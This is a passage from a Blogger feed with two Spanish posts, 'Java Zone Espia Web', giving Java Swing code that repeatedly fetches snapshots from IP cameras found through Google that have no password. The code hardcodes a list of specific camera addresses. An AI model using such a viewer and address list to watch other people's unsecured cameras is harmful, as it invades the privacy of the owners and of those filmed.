}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase PanelCamara&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Graphics;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Image;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.MouseEvent;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.event.MouseListener;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.MalformedURLException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.URL;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.ImageIcon;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class PanelCamara extends JPanel {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; String url = "";&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; int id=0;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Image img;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; Principal prin;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; HiloFoto hf;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; boolean seleccionado=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public PanelCamara(int id,String url, Principal p) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.url = url;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.prin=p;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.id=id;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMouseListener(new MouseListener() {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseReleased(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mousePressed(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseExited(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseEntered(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;    &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;   &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;@Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;public void mouseClicked(MouseEvent e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(seleccionado){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;seleccionado=false;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;seleccionado=true;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;if(seleccionado){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.DesactivarHilos();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;hf=new HiloFoto(PanelCamara.this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;hf.start();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.panelPrincipal.removeAll();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.panelPrincipal.setLayout(new BorderLayout());&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.panelPrincipal.add(prin.camaras.get(PanelCamara.this.id));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.setBounds(0, 0, 500, 400);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.setLocationRelativeTo(null);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}else{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;hf.stop();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;hf=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.panelPrincipal.removeAll();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.panelPrincipal.setLayout(new GridLayout(2, 4, 5, 5));&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.AgregarPaneles();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.ActivarHilos();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.setBounds(0, 0, 600, 250);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;     &lt;/span&gt;prin.setLocationRelativeTo(null);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;});&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; img = new ImageIcon(this.getClass().getResource("/lib/webcam.png")).getImage();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; this.setDoubleBuffered(true);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; IniciarHilo();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void PararHilo(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;hf=null;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void IniciarHilo(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;hf=new HiloFoto(this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; hf.start();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; @Override&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; public void paintComponent(Graphics g) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; super.paintComponents(g);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; g.drawImage(img, 0, 0, getWidth(), getHeight(), this);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&amp;nbsp; &amp;nbsp; }&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase HiloFoto&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;div&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.awt.Image;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.MalformedURLException;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import java.net.URL;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;import javax.swing.ImageIcon;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;public class HiloFoto extends Thread{&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;PanelCamara pc;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public HiloFoto(PanelCamara pc){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;this.pc=pc;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public void run(){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;try {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;Thread.sleep(500);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;while(true){&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pc.img.flush();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pc.img=new ImageIcon(new URL(pc.url)).getImage();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pc.repaint();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;pc.updateUI();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;    &lt;/span&gt;Thread.sleep(500);&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (InterruptedException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;} catch (MalformedURLException e) {&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;e.printStackTrace();&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;}&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;}&lt;/b&gt;&lt;/div&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Descargar&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;El proyecto completo lo pueden descargar desde&amp;nbsp;&lt;a href="http://dl.dropbox.com/u/61822104/Proyectos%20Java%20Zone/JavaZoneEspiaWeb2.rar"&gt;aquí&lt;/a&gt;, se incluyen los archivos fuentes, las&amp;nbsp;imágenes&amp;nbsp;y el Jar ejecutable.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8615379153941197849-1762207261643313284?l=java-elrincondetucasa.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://java-elrincondetucasa.blogspot.com/feeds/1762207261643313284/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/03/java-zone-espia-web-segunda-entrega.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1762207261643313284'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8615379153941197849/posts/default/1762207261643313284'/><link rel='alternate' type='text/html' href='http://java-elrincondetucasa.blogspot.com/2012/03/java-zone-espia-web-segunda-entrega.html' title='Java Zone Espia Web, Segunda Entrega'/><author><name>Roger Villamarin Rodriguez</name><uri>https://profiles.google.com/103313089671927525095</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-AYJzdOg3Fvs/AAAAAAAAAAI/AAAAAAAAAAA/z-DhGJclKo4/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/-6gB-cTkTOTw/T1QpSRuDNgI/AAAAAAAAAlQ/_rQpz_3IvQ4/s72-c/JavaZoneEspiaWeb+2.1+-+Java+Zone.png' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8615379153941197849.post-191676917727329220</id><published>2012-02-26T00:30:00.000-05:00</published><updated>2012-02-26T00:25:25.498-05:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Java Zone Espia Web'/><category scheme='http://www.blogger.com/atom/ns#' term='Espia web'/><category scheme='http://www.blogger.com/atom/ns#' term='ver camaras ip'/><title type='text'>Java Zone Espia Web, Primera Entrega</title><content type='html'>&lt;b&gt;&lt;span style="font-size: large;"&gt;Java Zone Espia Web, Primera Entrega&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div style="text-align: justify;"&gt;Esta es la primera de la que esperemos sean varias y podamos perfeccionar, se trata de un proyecto en el cual podremos ver algunas&amp;nbsp;cámaras&amp;nbsp;ip, que&amp;nbsp;están&amp;nbsp;funcionando y que no tienen contraseña, podemos verla casi en tiempo real.&lt;/div&gt;&lt;div style="text-align: justify;"&gt;&lt;br /&gt;&lt;/div&gt;&lt;div style="text-align: justify;"&gt;Gracias a Google, podemos ver las&amp;nbsp;imágenes, asi como estas existen miles de&amp;nbsp;cámaras&amp;nbsp;activas y que no tienen contraseñas, lo que nos permite ver las&amp;nbsp;imágenes&amp;nbsp;de dichas&amp;nbsp;cámaras.&lt;/div&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Imágenes&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;div class="separator" style="clear: both; text-align: center;"&gt;&lt;a href="http://3.bp.blogspot.com/-3NGZhc2CRtQ/T0mzkdHEqWI/AAAAAAAAAkw/c5a0XYB7kgg/s1600/JavaZoneEspiaWeb+1+-+Java+Zone.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"&gt;&lt;img border="0" height="200" src="http://3.bp.blogspot.com/-3NGZhc2CRtQ/T0mzkdHEqWI/AAAAAAAAAkw/c5a0XYB7kgg/s400/JavaZoneEspiaWeb+1+-+Java+Zone.png" width="400" /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;span style="font-size: large;"&gt;&lt;b&gt;Código&lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;&lt;br /&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span style="font-size: large;"&gt;Clase Principal&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;br /&gt;&lt;b&gt;package clases;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.BorderLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.awt.GridLayout;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import java.util.ArrayList;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JFrame;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;import javax.swing.JPanel;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;br /&gt;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;public class Principal extends JFrame {&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;JPanel panelPrincipal;&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;ArrayList&amp;lt;String&amp;gt; urls=new ArrayList&amp;lt;String&amp;gt;();&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt; &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt; &lt;/span&gt;public Principal(){&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://146.186.123.229/axis-cgi/jpg/image.cgi?resolution=352x240");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://131.111.133.11/axis-cgi/jpg/image.cgi?resolution=480x360&amp;amp;dummy=1267804722739");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://fotogermanoviseu.dyndns.info/axis-cgi/jpg/image.cgi?resolution=640x480&amp;amp;compression=10&amp;amp;color=1&amp;amp;clock=1&amp;amp;date=1");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://198.82.159.134/axis-cgi/jpg/image.cgi?resolution=640x480&amp;amp;dummy=1152818432828");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://98.238.252.97/axis-cgi/jpg/image.cgi?resolution=800x600&amp;amp;dummy=1280477002758");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://80.24.195.19/axis-cgi/jpg/image.cgi?resolution=480x360");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://216.8.159.21/axis-cgi/jpg/image.cgi?resolution=640x480");&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;urls.add("http://hncam1.hn.psu.edu/axis-cgi/jpg/image.cgi?resolution=320x240");&lt;/b&gt;&lt;br /&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;&lt;b&gt;  &lt;/b&gt;&lt;/span&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelPrincipal=new JPanel();&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;panelPrincipal.setLayout(new GridLayout(2,4,5,5));&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;  &lt;/span&gt;for(int i=0;i&amp;lt;8;i++){&lt;/b&gt;&lt;br /&gt;&lt;b&gt;&lt;span class="Apple-tab-span" style="white-space: pre;"&gt;   &lt;/span&gt;PanelCamara pc=new PanelCamara(urls.get(i));&lt;/b&gt;&lt;br 